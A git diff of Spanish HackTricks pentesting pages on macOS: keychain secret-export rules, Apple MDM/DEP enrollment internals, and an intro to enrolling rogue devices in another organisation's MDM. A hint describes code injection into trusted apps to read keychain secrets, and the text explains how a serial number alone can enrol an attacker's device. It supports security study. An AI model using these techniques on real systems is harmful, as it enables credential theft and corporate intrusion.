Y estos son los **requisitos** para poder **exportar un secreto sin un aviso**:
|
||||
|
||||
* Si hay **1 o más aplicaciones de confianza** listadas:
|
||||
* Necesita las **autorizaciones** apropiadas (**`Nil`**, o ser **parte** de la lista permitida de aplicaciones en la autorización para acceder a la información secreta)
|
||||
* Necesita que la firma del código coincida con **PartitionID**
|
||||
* Necesita que la firma del código coincida con la de una **aplicación de confianza** (o ser miembro del grupo KeychainAccessGroup correcto)
|
||||
* Si **todas las aplicaciones son de confianza**:
|
||||
* Necesita las **autorizaciones** apropiadas
|
||||
* Necesita que la firma del código coincida con **PartitionID**
|
||||
* Si **no hay PartitionID**, entonces esto no es necesario
|
||||
* Si hay **1+ aplicaciones confiables** listadas:
|
||||
* Necesitar las **autorizaciones** apropiadas (**`Nil`**, o ser **parte** de la lista de aplicaciones permitidas en la autorización para acceder a la información secreta)
|
||||
* Necesitar que la firma de código coincida con **PartitionID**
|
||||
* Necesitar que la firma de código coincida con la de una **aplicación confiable** (o ser miembro del correcto KeychainAccessGroup)
|
||||
* Si **todas las aplicaciones son confiables**:
|
||||
* Necesitar las **autorizaciones** apropiadas
|
||||
* Necesitar que la firma de código coincida con **PartitionID**
|
||||
* Si **no hay PartitionID**, entonces esto no es necesario
|
||||
|
||||
{% hint style="danger" %}
|
||||
Por lo tanto, si hay **1 aplicación listada**, necesitas **inyectar código en esa aplicación**.
|
||||
|
||||
Si **apple** está indicado en el **PartitionID**, se puede acceder con **`osascript`** a cualquier cosa que confíe en todas las aplicaciones con apple en el PartitionID. **`Python`** también se puede usar para esto.
|
||||
Si **apple** está indicado en el **partitionID**, podrías acceder con **`osascript`** así que cualquier cosa que confíe en todas las aplicaciones con apple en el partitionID. **`Python`** también podría usarse para esto.
|
||||
{% endhint %}
|
||||
|
||||
### Dos atributos adicionales
|
||||
|
||||
* **Invisible**: Es una bandera booleana para **ocultar** la entrada de la aplicación **UI** del llavero
|
||||
* **Invisible**: Es una bandera booleana para **ocultar** la entrada de la aplicación **UI** Keychain
|
||||
* **General**: Es para almacenar **metadatos** (por lo que NO ESTÁ CIFRADO)
|
||||
* Microsoft estaba almacenando en texto sin formato todos los tokens de actualización para acceder a puntos finales sensibles.
|
||||
* Microsoft estaba almacenando en texto plano todos los tokens de actualización para acceder a puntos finales sensibles.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -132,12 +134,14 @@ Si **apple** está indicado en el **PartitionID**, se puede acceder con **`osasc
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,62 +2,152 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Conceptos básicos
|
||||
|
||||
### ¿Qué es MDM (Mobile Device Management)?
|
||||
### ¿Qué es MDM (Gestión de Dispositivos Móviles)?
|
||||
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) es una tecnología comúnmente utilizada para **administrar dispositivos informáticos de usuario final** como teléfonos móviles, portátiles, ordenadores de sobremesa y tabletas. En el caso de las plataformas de Apple como iOS, macOS y tvOS, se refiere a un conjunto específico de características, APIs y técnicas utilizadas por los administradores para gestionar estos dispositivos. La gestión de dispositivos a través de MDM requiere un servidor MDM comercial o de código abierto compatible que implemente soporte para el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf).
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) es una tecnología comúnmente utilizada para **administrar dispositivos de computación de usuarios finales** como teléfonos móviles, portátiles, escritorios y tabletas. En el caso de plataformas de Apple como iOS, macOS y tvOS, se refiere a un conjunto específico de características, APIs y técnicas utilizadas por los administradores para gestionar estos dispositivos. La gestión de dispositivos a través de MDM requiere un servidor MDM comercial o de código abierto compatible que implemente soporte para el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf).
|
||||
|
||||
* Una forma de lograr una **gestión centralizada de dispositivos**
|
||||
* Requiere un **servidor MDM** que implemente soporte para el protocolo MDM
|
||||
* El servidor MDM puede **enviar comandos MDM**, como borrado remoto o "instalar esta configuración"
|
||||
|
||||
### ¿Qué es DEP (Device Enrolment Program)?
|
||||
### Conceptos básicos ¿Qué es DEP (Programa de Inscripción de Dispositivos)?
|
||||
|
||||
El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) es un servicio ofrecido por Apple que **simplifica** la inscripción en la gestión de dispositivos móviles (MDM) al ofrecer una configuración **sin contacto** de disposit
|
||||
### **Paso 7: Escuchando comandos MDM**
|
||||
El [Programa de Inscripción de Dispositivos](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) es un servicio ofrecido por Apple que **simplifica** la inscripción en la Gestión de Dispositivos Móviles (MDM) ofreciendo una configuración **sin intervención** de dispositivos iOS, macOS y tvOS. A diferencia de los métodos de despliegue más tradicionales, que requieren que el usuario final o el administrador tomen medidas para configurar un dispositivo o inscribirse manualmente con un servidor MDM, DEP tiene como objetivo iniciar este proceso, **permitiendo al usuario desempaquetar un nuevo dispositivo de Apple y tenerlo configurado para su uso en la organización casi inmediatamente**.
|
||||
|
||||
* Después de que se complete la verificación de MDM, el proveedor puede **emitir notificaciones push utilizando APNs**
|
||||
* Al recibirlas, son manejadas por **`mdmclient`**
|
||||
* Para buscar comandos MDM, se envía una solicitud a ServerURL
|
||||
* Se hace uso de la carga útil MDM previamente instalada:
|
||||
* **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud
|
||||
* **`IdentityCertificateUUID`** para el certificado de cliente TLS
|
||||
Los administradores pueden aprovechar DEP para inscribir automáticamente los dispositivos en el servidor MDM de su organización. Una vez que un dispositivo está inscrito, **en muchos casos se trata como un dispositivo "confiable"** propiedad de la organización, y podría recibir cualquier número de certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).
|
||||
|
||||
## Ataques
|
||||
* Permite que un dispositivo se inscriba automáticamente en un servidor MDM preconfigurado la **primera vez que se enciende**
|
||||
* Más útil cuando el **dispositivo** es **completamente nuevo**
|
||||
* También puede ser útil para flujos de trabajo de **reaprovisionamiento** (**borrado** con una instalación nueva del sistema operativo)
|
||||
|
||||
### Inscripción de dispositivos en otras organizaciones
|
||||
{% hint style="danger" %}
|
||||
Desafortunadamente, si una organización no ha tomado medidas adicionales para **proteger su inscripción en MDM**, un proceso de inscripción simplificado para el usuario final a través de DEP también puede significar un proceso simplificado para que los **atacantes inscriban un dispositivo de su elección en el servidor MDM de la organización**, asumiendo la "identidad" de un dispositivo corporativo.
|
||||
{% endhint %}
|
||||
|
||||
Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización, **solo se necesita un número de serie que pertenezca a esa organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, esto podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente:
|
||||
### Conceptos básicos ¿Qué es SCEP (Protocolo Simple de Inscripción de Certificados)?
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
* Un protocolo relativamente antiguo, creado antes de que TLS y HTTPS estuvieran generalizados.
|
||||
* Ofrece a los clientes una forma estandarizada de enviar una **Solicitud de Firma de Certificado** (CSR) con el propósito de obtener un certificado. El cliente pedirá al servidor que le otorgue un certificado firmado.
|
||||
|
||||
### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)?
|
||||
|
||||
* La forma oficial de Apple de **establecer/aplicar la configuración del sistema.**
|
||||
* Formato de archivo que puede contener múltiples cargas útiles.
|
||||
* Basado en listas de propiedades (del tipo XML).
|
||||
* "puede ser firmado y cifrado para validar su origen, asegurar su integridad y proteger su contenido." Conceptos básicos — Página 70, Guía de Seguridad de iOS, enero de 2018.
|
||||
|
||||
## Protocolos
|
||||
|
||||
### MDM
|
||||
|
||||
* Combinación de APNs (**servidores de Apple**) + API RESTful (**servidores de proveedores de MDM**)
|
||||
* La **comunicación** ocurre entre un **dispositivo** y un servidor asociado con un **producto de gestión de dispositivos**
|
||||
* **Comandos** entregados desde el MDM al dispositivo en **diccionarios codificados en plist**
|
||||
* Todo sobre **HTTPS**. Los servidores MDM pueden ser (y usualmente son) fijados.
|
||||
* Apple otorga al proveedor de MDM un **certificado APNs** para autenticación
|
||||
|
||||
### DEP
|
||||
|
||||
* **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad del dispositivo (no documentada):
|
||||
* La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos.
|
||||
* La [API de DEP utilizada por Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de la transacción.
|
||||
* La API privada de DEP no documentada. Esta es utilizada por Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API.
|
||||
* Más moderna y basada en **JSON** (en comparación con plist)
|
||||
* Apple otorga un **token OAuth** al proveedor de MDM
|
||||
|
||||
**API de "servicio en la nube" de DEP**
|
||||
|
||||
* RESTful
|
||||
* sincroniza registros de dispositivos de Apple al servidor MDM
|
||||
* sincroniza "perfiles DEP" a Apple desde el servidor MDM (entregados por Apple al dispositivo más tarde)
|
||||
* Un perfil DEP contiene:
|
||||
* URL del servidor del proveedor de MDM
|
||||
* Certificados de confianza adicionales para la URL del servidor (fijación opcional)
|
||||
* Configuraciones extra (por ejemplo, qué pantallas omitir en el Asistente de Configuración)
|
||||
|
||||
## Número de Serie
|
||||
|
||||
Los dispositivos de Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **primeros tres dígitos representando el lugar de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos cuatro dígitos representando el número de modelo**.
|
||||
|
||||
{% content-ref url="macos-serial-number.md" %}
|
||||
[macos-serial-number.md](macos-serial-number.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Referencias**
|
||||
## Pasos para la inscripción y gestión
|
||||
|
||||
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
|
||||
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
|
||||
1. Creación de registro de dispositivo (Revendedor, Apple): Se crea el registro para el nuevo dispositivo
|
||||
2. Asignación de registro de dispositivo (Cliente): El dispositivo se asigna a un servidor MDM
|
||||
3. Sincronización de registro de dispositivo (Proveedor de MDM): MDM sincroniza los registros de dispositivos y empuja los perfiles DEP a Apple
|
||||
4. Verificación DEP (Dispositivo): El dispositivo obtiene su perfil DEP
|
||||
5. Recuperación de perfil (Dispositivo)
|
||||
6. Instalación de perfil (Dispositivo) a. incl. cargas útiles MDM, SCEP y CA raíz
|
||||
7. Emisión de comandos MDM (Dispositivo)
|
||||
|
||||
<details>
|
||||
![](<../../../.gitbook/assets/image (564).png>)
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
El archivo `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporta funciones que pueden considerarse **pasos de alto nivel** del proceso de inscripción.
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
### Paso 4: Verificación DEP - Obtener el Registro de Activación
|
||||
|
||||
</details>
|
||||
Esta parte del proceso ocurre cuando un **usuario inicia un Mac por primera vez** (o después de un borrado completo)
|
||||
|
||||
![](<../../../.gitbook/assets/image (568).png>)
|
||||
|
||||
o al ejecutar `sudo profiles show -type enrollment`
|
||||
|
||||
* Determinar **si el dispositivo está habilitado para DEP**
|
||||
* Registro de Activación es el nombre interno para el **perfil DEP**
|
||||
* Comienza tan pronto como el dispositivo se conecta a Internet
|
||||
* Impulsado por **`CPFetchActivationRecord`**
|
||||
* Implementado por **`cloudconfigurationd`** a través de XPC. El **"Asistente de Configuración"** (cuando el dispositivo se inicia por primera vez) o el comando **`profiles`** **contactarán a este demonio** para recuperar el registro de activación.
|
||||
* LaunchDaemon (siempre se ejecuta como root)
|
||||
|
||||
Sigue algunos pasos para obtener el Registro de Activación realizados por **`MCTeslaConfigurationFetcher`**. Este proceso utiliza un cifrado llamado **Absinthe**
|
||||
|
||||
1. Recuperar **certificado**
|
||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
2. **Inicializar** estado a partir del certificado (**`NACInit`**)
|
||||
1. Utiliza varios datos específicos del dispositivo (es decir, **Número de Serie a través de `IOKit`**)
|
||||
3. Recuperar **clave de sesión**
|
||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
4. Establecer la sesión (**`NACKeyEstablishment`**)
|
||||
5. Hacer la solicitud
|
||||
1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) enviando los datos `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. La carga útil JSON está cifrada usando Absinthe (**`NACSign`**)
|
||||
3. Todas las solicitudes sobre HTTPs, se utilizan certificados raíz integrados
|
||||
|
||||
![](<../../../.gitbook/assets/image (566).png>)
|
||||
|
||||
La respuesta es un diccionario JSON con algunos datos importantes como:
|
||||
|
||||
* **url**: URL del host del proveedor de MDM para el perfil de activación
|
||||
* **anchor-certs**: Array de certificados DER utilizados como anclas de confianza
|
||||
|
||||
### **Paso 5: Recuperación de Perfil**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567).png>)
|
||||
|
||||
* Solicitud enviada a la **url proporcionada en el perfil DEP**.
|
||||
* Los **certificados de ancla** se utilizan para **evaluar la confianza** si se proporcionan.
|
||||
* Recordatorio: la propiedad **anchor\_certs** del perfil DEP
|
||||
* **La solicitud es un simple .plist** con identificación del dispositivo
|
||||
* Ejemplos: **UDID, versión del sistema operativo**.
|
||||
* Firmado CMS, codificado DER
|
||||
* Firmado usando el **certificado de identidad del dispositivo (de APNS)**
|
||||
* **Cadena de certificados** incluye **Apple iPhone Device CA** expirado
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1. (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
|
|
|
@ -1,48 +1,50 @@
|
|||
# Inscripción de dispositivos en otras organizaciones
|
||||
# Inscripción de Dispositivos en Otras Organizaciones
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Introducción
|
||||
|
||||
Como se ha [**comentado anteriormente**](./#what-is-mdm-mobile-device-management), para intentar inscribir un dispositivo en una organización **solo se necesita un número de serie que pertenezca a esa organización**. Una vez inscrito el dispositivo, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, esto podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente.
|
||||
Como se [**comentó anteriormente**](./#what-is-mdm-mobile-device-management)**,** para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez inscrito el dispositivo, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y más](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido.
|
||||
|
||||
**La siguiente investigación se ha tomado de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
|
||||
**La siguiente investigación se toma de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
||||
## Reversión del proceso
|
||||
## Invertir el proceso
|
||||
|
||||
### Binarios involucrados en DEP y MDM
|
||||
### Binarios Involucrados en DEP y MDM
|
||||
|
||||
A lo largo de nuestra investigación, exploramos lo siguiente:
|
||||
|
||||
* **`mdmclient`**: Utilizado por el sistema operativo para comunicarse con un servidor MDM. En macOS 10.13.3 y anteriores, también se puede utilizar para activar una comprobación DEP.
|
||||
* **`profiles`**: Una utilidad que se puede utilizar para instalar, eliminar y ver perfiles de configuración en macOS. También se puede utilizar para activar una comprobación DEP en macOS 10.13.4 y versiones posteriores.
|
||||
* **`cloudconfigurationd`**: El demonio del cliente de inscripción de dispositivos, que es responsable de comunicarse con la API de DEP y recuperar perfiles de inscripción de dispositivos.
|
||||
* **`mdmclient`**: Utilizado por el sistema operativo para comunicarse con un servidor MDM. En macOS 10.13.3 y anteriores, también se puede usar para activar una verificación DEP.
|
||||
* **`profiles`**: Una utilidad que se puede usar para instalar, eliminar y ver Perfiles de Configuración en macOS. También se puede usar para activar una verificación DEP en macOS 10.13.4 y más recientes.
|
||||
* **`cloudconfigurationd`**: El daemon cliente de Inscripción de Dispositivos, que es responsable de comunicarse con la API de DEP y recuperar perfiles de Inscripción de Dispositivos.
|
||||
|
||||
